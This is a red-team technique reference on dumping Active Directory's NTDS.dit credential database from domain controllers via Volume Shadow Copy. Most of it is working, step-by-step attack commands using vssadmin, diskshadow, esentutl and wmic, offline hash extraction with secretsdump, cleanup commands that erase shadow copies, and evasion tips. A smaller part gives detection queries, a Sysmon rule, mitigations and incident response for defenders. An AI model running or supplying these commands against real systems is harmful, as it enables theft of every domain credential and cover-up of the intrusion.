| Attribute | Details |
|---|---|
| Technique ID | CA-DUMP-007 |
| MITRE ATT&CK v18.1 | T1003.003 - NTDS (VSS Variant) |
| Tactic | Credential Access |
| Platforms | Windows Active Directory Domain Controllers (Server 2008 R2-2025) |
| Severity | Critical |
| CVE | N/A (inherent VSS design, not a vulnerability per se) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-02 |
| Affected Versions | Windows Server 2008 R2, 2012, 2012 R2, 2016, 2019, 2022, 2025 |
| Patched In | N/A (VSS is inherent to Windows; no patch exists) |
| Author | SERVTEP – Artur Pchelnikau |
Note: All section numbers have been dynamically renumbered based on applicability to VSS-based NTDS.dit extraction.
Concept: The Volume Shadow Copy Service (VSS) is a Windows backup infrastructure that creates point-in-time snapshots of volumes without requiring service interruption. While designed for legitimate backup operations, attackers with local administrator access can exploit VSS to create snapshots of the domain controller’s C: drive and copy the locked NTDS.dit file directly from the snapshot. Unlike direct NTDS extraction methods (DCSync, ntdsutil), VSS exploitation bypasses file locks entirely by accessing a frozen copy of the filesystem. The attack uses only native Windows tools (vssadmin, diskshadow, esentutl, wmic), making it difficult to detect via binary signature-based monitoring.
Attack Surface: The primary attack surface is the Volume Shadow Copy Service itself, accessible through native tools vssadmin.exe, diskshadow.exe, wmic.exe, and esentutl.exe. Snapshots are mounted at paths like \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\NTDS\ntds.dit. The attack requires local administrator or Backup Operators group membership. Three distinct VSS exploitation methods exist: (1) vssadmin (direct, requires admin), (2) diskshadow (scriptable, less monitored), (3) esentutl with /vss flag (integrated into backup utility).
Business Impact: Complete domain credential compromise via file-locking bypass. VSS exploitation extracts the NTDS.dit file without triggering typical “file access denied” alerts, as the snapshot is a frozen copy outside the normal locking mechanism. Once extracted and offline, the file yields all domain credentials including the krbtgt account hash (Golden Ticket attacks), domain admin accounts, and service account credentials. This method is particularly dangerous in environments with weak endpoint monitoring of VSS operations.
Technical Context: VSS abuse occurs post-compromise when the attacker achieves local admin access to a domain controller (often via lateral movement with compromised domain admin credentials). The operation is stealthy compared to direct NTDS access—no DCSync traffic, no ntdsutil service stops, no obvious registry access. VSS creation generates minimal forensic footprint: a few Event IDs in System log (7036), potential 8222 if auditing enabled, and file operations under GLOBALROOT paths.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.3.7 | Ensure domain controller backups are properly secured |
| CIS Benchmark | 2.3.4.13 | Ensure ‘Volume Shadow Copy’ service is not enabled |
| DISA STIG | WN16-DC-000200 | Domain controller must require LDAP channel signing |
| NIST 800-53 | AC-2 | Account Management; AC-3 Access Enforcement |
| NIST 800-53 | AU-12 | Audit Generation; monitor service starts |
| GDPR | Article 32 | Security of processing - protect domain credentials |
| DORA | Article 9 | Protection and prevention of ICT incidents |
| NIS2 | Article 21 | Cyber risk management for critical infrastructure |
| ISO 27001 | A.9.2.1 | Restrict access to information processing facilities (DCs) |
| ISO 27001 | A.9.2.3 | Management of privileged access; VSS abuse prevention |
| ISO 27005 | Section 7.4 | Risk assessment of VSS-based credential theft |
Required Privileges: Local Administrator or Backup Operators group (vssadmin requires admin; diskshadow may work with Backup Operators in some scenarios)
Required Access: Local system access to domain controller; VSS service enabled (default)
Supported Versions:
Tools:
Verify VSS service is running and accessible:
# Check VSS service status
Get-Service -Name "VSS" | Select-Object Name, Status, StartType
# Expected: Running, Automatic (or Manual)
# Verify vssadmin is accessible
$vssadmin = "C:\Windows\System32\vssadmin.exe"
Test-Path $vssadmin
# Expected: True
What to Look For:
Check if shadow copies already exist (useful for attacker):
# List all existing shadow copies
vssadmin list shadows
# Alternative: Check via WMI
Get-WmiObject -Class Win32_ShadowCopy | Select-Object ID, InstallDate, Description
What to Look For:
Verify sufficient disk space for shadow copy:
# Get C: drive free space
$drive = Get-Volume -DriveLetter C
$drive | Select-Object DriveLetter, SizeRemaining, Size
# Shadow copy typically requires 10-20% of volume size
# (depends on snapshot size)
What to Look For:
Supported Versions: Windows Server 2008 R2-2025
Prerequisites: Local Administrator privileges
Objective: Create VSS snapshot of C: drive (where NTDS.dit resides).
Command (All Versions):
vssadmin create shadow /for=C:
Expected Output:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.
Successfully created shadow copy for 'C:\'.
Shadow Copy ID: {3f3c4f5d-8c7b-4a9e-11f2-5e6d7c8b9a0f}
Shadow Copy Set ID: {7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d}
Original Volume: \\?\Volume{12345678-1234-1234-1234-123456789012}\
Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
Original System Volume: C:\
Shadow Copy Attributes: Persistent, Client-Accessible, No Auto Release, Differential
What This Means:
OpSec & Evasion:
Troubleshooting:
| Error | Cause | Fix |
|---|---|---|
Invalid command |
vssadmin create not available (client OS) | Use server OS or alternative method (diskshadow) |
Access Denied |
Insufficient privileges | Run as Administrator |
Insufficient storage space |
Disk full | Free disk space (typically 10-20% of volume) |
Already exists |
Shadow copy with same name | Use /oldest flag or different drive |
Objective: Extract NTDS.dit file from snapshot using copy command.
Command (All Versions - Copy from Snapshot):
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit" "C:\temp\ntds.dit"
Or using xcopy for recursive directories:
xcopy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\*" "C:\temp\NTDS\" /E /I
Expected Output:
1 file(s) copied.
What This Means:
OpSec & Evasion:
Objective: Extract SYSTEM registry hive for SysKey decryption.
Command (All Versions):
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM" "C:\temp\system"
Also copy SECURITY hive:
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY" "C:\temp\security"
What This Means:
Supported Versions: Windows Server 2008 R2-2025
Prerequisites: Local Administrator (or Backup Operators in some cases)
Advantage: Scriptable, less commonly monitored than vssadmin
Objective: Automate VSS snapshot creation and mounting.
Command (All Versions - Create Script File):
# Create diskshadow commands script
$script = @"
set context persistent nowriters
add volume c: alias temp
create
expose %temp% z:
"@
$script | Out-File -FilePath "C:\temp\diskshadow.txt" -Encoding ASCII
What This Means:
Objective: Run diskshadow with script to automate process.
Command (All Versions):
diskshadow.exe /s C:\temp\diskshadow.txt
Expected Output:
DISKSHADOW> set context persistent nowriters
DISKSHADOW> add volume c: alias temp
DISKSHADOW> create
Waiting for shadow copy creation...
...
Successfully created shadow copy.
DISKSHADOW> expose %temp% z:
DISKSHADOW> The shadow copy has been exposed as Z:\
DISKSHADOW> quit
What This Means:
OpSec & Evasion:
Objective: Extract NTDS from mounted Z: drive.
Command (All Versions):
copy "Z:\Windows\NTDS\NTDS.dit" "C:\temp\ntds.dit"
copy "Z:\Windows\System32\config\SYSTEM" "C:\temp\system"
What This Means:
Objective: Delete shadow copy and mounted drive.
Command (All Versions):
# Delete the shadow copy
vssadmin delete shadows /shadow={SHADOW_ID} /quiet
# Or delete all
vssadmin delete shadows /all /quiet
Or via PowerShell:
# Clean up shadow copies
Get-WmiObject -Class Win32_ShadowCopy | Remove-WmiObject
Supported Versions: Windows Server 2008 R2-2025
Prerequisites: Local Administrator
Advantage: Single command copies via VSS without manual snapshot creation
Objective: Use esentutl with VSS flag for integrated snapshot copy.
Command (All Versions - Direct VSS Copy):
esentutl.exe /y /vss "C:\Windows\NTDS\NTDS.dit" /d "C:\temp\ntds.dit"
Expected Output:
Extensible Storage Engine Utilities for Microsoft(R) Windows(R)
Version 6.2
Initiating COPY mode...
Source Database: C:\Windows\NTDS\NTDS.dit
Destination Database: C:\temp\ntds.dit
Copying database headers...
Progress: 50%
Progress: 100%
Operation completed successfully in 2.34 seconds.
What This Means:
OpSec & Evasion:
Command (Server 2008-2012 R2 - Slightly Different):
esentutl.exe /y /vss "C:\Windows\NTDS\NTDS.dit" /t "C:\temp\ntds.dit"
Note: /t flag used on older versions instead of /d
Objective: Repair any corruption from VSS copy.
Command (All Versions):
esentutl.exe /p "C:\temp\ntds.dit" /8 /o
Expected Output:
Extensible Storage Engine Utilities for Microsoft(R) Windows(R)
Initiating REPAIR mode...
Source Database: C:\temp\ntds.dit
Repair Progress: 10%
Repair Progress: 50%
Repair Progress: 100%
Operation completed successfully in 12.45 seconds.
What This Means:
Supported Versions: Windows Server 2008 R2-2022 (deprecated in 2025)
Prerequisites: Local Administrator
Objective: Use WMI to create VSS snapshot.
Command (Server 2008 R2-2022):
wmic shadowcopy call create Volume=c:\
Expected Output:
Executing (\\PC-NAME\ROOT\CIMV2:Win32_ShadowCopy)->create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ReturnValue = 0;
ShadowID = "{A1B2C3D4-5E6F-7A8B-9C0D-E1F2A3B4C5D6}";
};
What This Means:
Objective: Use returned ShadowID to access shadow copy.
Command (All Versions):
# List shadow copies to get ID
wmic shadowcopy list brief
# Copy NTDS.dit using shadow ID
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit" "C:\temp\ntds.dit"
Supported Versions: All Server versions
Prerequisites: Local admin, Python 3.6+
(Follow vssadmin, diskshadow, or esentutl steps to get NTDS.dit and SYSTEM hive)
Objective: Extract domain credentials from NTDS files offline.
Command (Linux/Kali - secretsdump.py):
# Extract hashes from offline NTDS.dit
python3 -m impacket.examples.secretsdump \
-ntds C:\temp\ntds.dit \
-system C:\temp\system \
-security C:\temp\security \
LOCAL > credentials.txt
Expected Output:
Impacket v0.9.25 - Copyright 2021 SecureAuth Corporation
[*] Dumping domain cached credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7ef556ffd1ac36f20373a3c0c03e7fc6:::
jsmith:1000:aad3b435b51404eeaad3b435b51404ee:d0352ee2e8a0aa9ad8f0f2f4ea6ac5d1:::
[*] Kerberos keys extracted
[*] Searching for Domain Policy
[*] DPAPI Domain backup key extraction
What This Means:
Atomic Test ID: T1003.003-2 (VSS variant)
Test Name: NTDS.dit Extraction via Volume Shadow Copy
Description: Simulates VSS-based NTDS.dit extraction using vssadmin.
Supported Versions: All Server versions
Command:
Invoke-AtomicTest T1003.003 -TestNumbers 2
Or manually:
# Atomic simulation - VSS shadow copy dump
vssadmin create shadow /for=C:
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit" "C:\temp\ntds.dit"
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM" "C:\temp\system"
Cleanup:
vssadmin delete shadows /all /quiet
Remove-Item "C:\temp\ntds.dit" -Force
Remove-Item "C:\temp\system" -Force
Version: Included in all Server versions 2008 R2+
Usage:
vssadmin create shadow /for=C:
vssadmin list shadows
vssadmin delete shadows /all /quiet
Version: Included in all Server versions 2008 R2+
Script Format:
set context persistent nowriters
add volume c: alias temp
create
expose %temp% z:
Usage:
diskshadow.exe /s C:\temp\diskshadow.txt
Version: Included in all Server versions 2008 R2+
Usage:
esentutl /y /vss "C:\Windows\NTDS\NTDS.dit" /d "C:\temp\ntds.dit"
esentutl /p "C:\temp\ntds.dit" /8 /o
Version: Available until Server 2022 (deprecated in 2025)
Usage:
wmic shadowcopy call create Volume=c:\
wmic shadowcopy list brief
Rule Configuration:
SPL Query:
index=main sourcetype="WinEventLog:System"
(EventCode=7036 AND Source="Service Control Manager") AND
(Message="*Volume Shadow Copy Service*" OR Message="*VSS*") AND
(Message="*entered the running state*" OR Message="*entered the stopped state*")
| stats count by host, Message, TimeGenerated
| where count >= 1
What This Detects:
Rule Configuration:
SPL Query:
index=main sourcetype="WinEventLog:System" EventCode=8222
| stats count by host, Message
| where count >= 1
What This Detects:
Rule Configuration:
SPL Query:
index=main sourcetype="WinEventLog:Security" EventCode=4688
(Image="*vssadmin*" OR Image="*diskshadow*" OR Image="*esentutl*")
AND (CommandLine="*shadow*" OR CommandLine="*/vss*" OR CommandLine="*create*")
| stats count by host, Account_Name, Image, CommandLine
What This Detects:
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4688
| where tolower(NewProcessName) has_any ("vssadmin", "diskshadow", "esentutl", "wmic")
| where CommandLine has_any ("shadow", "/vss", "create", "expose", "call create Volume")
| extend AccountCustomEntity = Account
| extend HostCustomEntity = Computer
| extend ProcessPath = NewProcessName
| project TimeGenerated, Computer, Account, Image=NewProcessName, CommandLine
| summarize Count = count(), Hosts = dcount(Computer) by Computer, Account, Image
| where Count >= 1
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID in (4663, 4656)
| where ObjectName has_any ("NTDS.dit", "GLOBALROOT", "HarddiskVolumeShadowCopy", "system", "config\\SYSTEM")
| where SubjectUserName !contains "SYSTEM"
| extend AccountCustomEntity = SubjectUserName
| extend HostCustomEntity = Computer
Event ID: 7036 (Service State Change)
Configuration:
Event ID: 8222 (Shadow Copy Created)
Event ID: 4688 (Process Creation)
Minimum Sysmon Version: 13.0+
Supported Platforms: All Windows Server versions
Sysmon Configuration Snippet:
<!-- Detect VSS abuse and NTDS extraction -->
<Sysmon schemaversion="4.22">
<EventFiltering>
<!-- Event ID 1: Process Creation - VSS tools -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains any">vssadmin shadow; diskshadow; esentutl /vss; wmic shadowcopy</CommandLine>
</ProcessCreate>
<!-- Event ID 3: Network Connection (if exfiltrating) -->
<NetworkConnect onmatch="include">
<CommandLine condition="contains">ntds.dit</CommandLine>
</NetworkConnect>
<!-- Event ID 11: FileCreate (NTDS copy) -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">NTDS.dit</TargetFilename>
</FileCreate>
<!-- Event ID 17: Pipe Created (diskshadow script) -->
<CreateRemoteThread onmatch="include">
<SourceImage condition="contains">diskshadow</SourceImage>
</CreateRemoteThread>
</EventFiltering>
</Sysmon>
Alert Name: “Suspicious Shadow Copy creation” / “NTDS.dit extraction attempt”
Manual Configuration:
# Monitor for suspicious admin activity post-NTDS extraction
Search-UnifiedAuditLog -Operations "Add-RoleGroupMember" `
-StartDate (Get-Date).AddDays(-1) -ResultSize 1000 | `
Export-Csv "C:\audit_admin_changes.csv"
1. Disable VSS on Domain Controllers (If Not Required)
Removes the VSS attack surface entirely.
Applies To Versions: All Server versions
Manual Steps (PowerShell):
# Disable VSS service
Stop-Service -Name "VSS" -Force
Set-Service -Name "VSS" -StartupType Disabled
# Verify disabled
Get-Service -Name "VSS" | Select-Object Status, StartType
# Expected: Stopped, Disabled
Important: Only disable if VSS not used for legitimate backups. Many organizations use VSS for Hyper-V backups, so this may not be feasible.
2. Restrict Administrative Access to Domain Controllers
Prevent attackers from reaching DC console.
Manual Steps:
# Configure RDP access restrictions via Group Policy
# Computer Configuration → Windows Settings → Security Settings → Local Policies
# User Rights Assignment → "Allow log on through Remote Desktop Services"
# Add only specific admin groups
3. Enable Comprehensive Auditing of VSS Operations
Detect VSS abuse through logging.
Applies To Versions: All Server versions
Manual Steps (Group Policy):
gpupdate /forceManual Steps (PowerShell):
# Enable detailed system auditing
auditpol /set /subcategory:"System" /success:enable /failure:enable
# Verify
auditpol /get /subcategory:"System"
# Expected: System Success and Failure
4. Monitor Shadow Copy Creation Events
Alert immediately on suspicious VSS activity.
Manual Steps:
5. Implement File Integrity Monitoring on NTDS.dit
Detect unauthorized access/copies.
Manual Steps:
C:\Windows\NTDS\NTDS.ditPowerShell Configuration:
# Set audit ACL on NTDS.dit
$ACL = Get-Acl -Path "C:\Windows\NTDS\NTDS.dit"
$AuditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
"Everyone",
[System.Security.AccessControl.FileSystemRights]::ReadData,
[System.Security.AccessControl.InheritanceFlags]::None,
[System.Security.AccessControl.PropagationFlags]::None,
[System.Security.AccessControl.AuditFlags]::Success -bor [System.Security.AccessControl.AuditFlags]::Failure
)
$ACL.AddAuditRule($AuditRule)
Set-Acl -Path "C:\Windows\NTDS\NTDS.dit" -AclObject $ACL
Processes:
vssadmin.exe create shadowdiskshadow.exe /s with script filesesentutl.exe /vss /ywmic shadowcopy call createFiles:
C:\temp\ntds.dit, C:\temp\NTDS.ditC:\temp\system, C:\temp\SYSTEMdiskshadow.txt, etc.)Paths:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy*\Windows\NTDS\*Event Logs:
Disk:
Memory:
System:
1. Immediate Containment:
# Delete all shadow copies immediately
vssadmin delete shadows /all /quiet
# Stop VSS service
Stop-Service -Name "VSS" -Force
Set-Service -Name "VSS" -StartupType Disabled
# Isolate DC from network (if severe compromise)
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
2. Credential Reset (CRITICAL - Assume Compromise):
# Reset krbtgt password TWICE
Set-ADAccountPassword -Identity krbtgt -NewPassword (ConvertTo-SecureString "TempPassword!$(Get-Random)" -AsPlainText -Force)
Start-Sleep -Seconds 36000 # Wait 10 hours
Set-ADAccountPassword -Identity krbtgt -NewPassword (ConvertTo-SecureString "FinalPassword!$(Get-Random)" -AsPlainText -Force)
# Reset all domain user passwords
Get-ADUser -Filter {Enabled -eq $true} | ForEach-Object {
$Pass = ConvertTo-SecureString "TempPass!$(Get-Random)" -AsPlainText -Force
Set-ADAccountPassword -Identity $_.SamAccountName -NewPassword $Pass
Set-ADUser -Identity $_.SamAccountName -ChangePasswordAtLogon $true
}
3. Collect Evidence:
wevtutil epl Security C:\Evidence\Security.evtx
wevtutil epl System C:\Evidence\System.evtx
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [T1566.002] Phishing | Attacker gains initial access |
| 2 | Execution | [T1204.002] User Execution | Victim executes malware |
| 3 | Persistence | [T1547.001] Autostart | Malware persists |
| 4 | Privilege Escalation | [T1548] UAC Bypass | Escalate to admin |
| 5 | Lateral Movement | [T1021.001] RDP | Move to domain controller |
| 6 | Credential Access | [CA-DUMP-007] VSS NTDS Abuse | Dump NTDS via shadow copy |
| 7 | Impact | [T1485] Data Destruction | Deploy ransomware domain-wide |
1. Living-Off-The-Land Only:
2. Timing:
3. Diskshadow Advantages:
4. Obfuscation: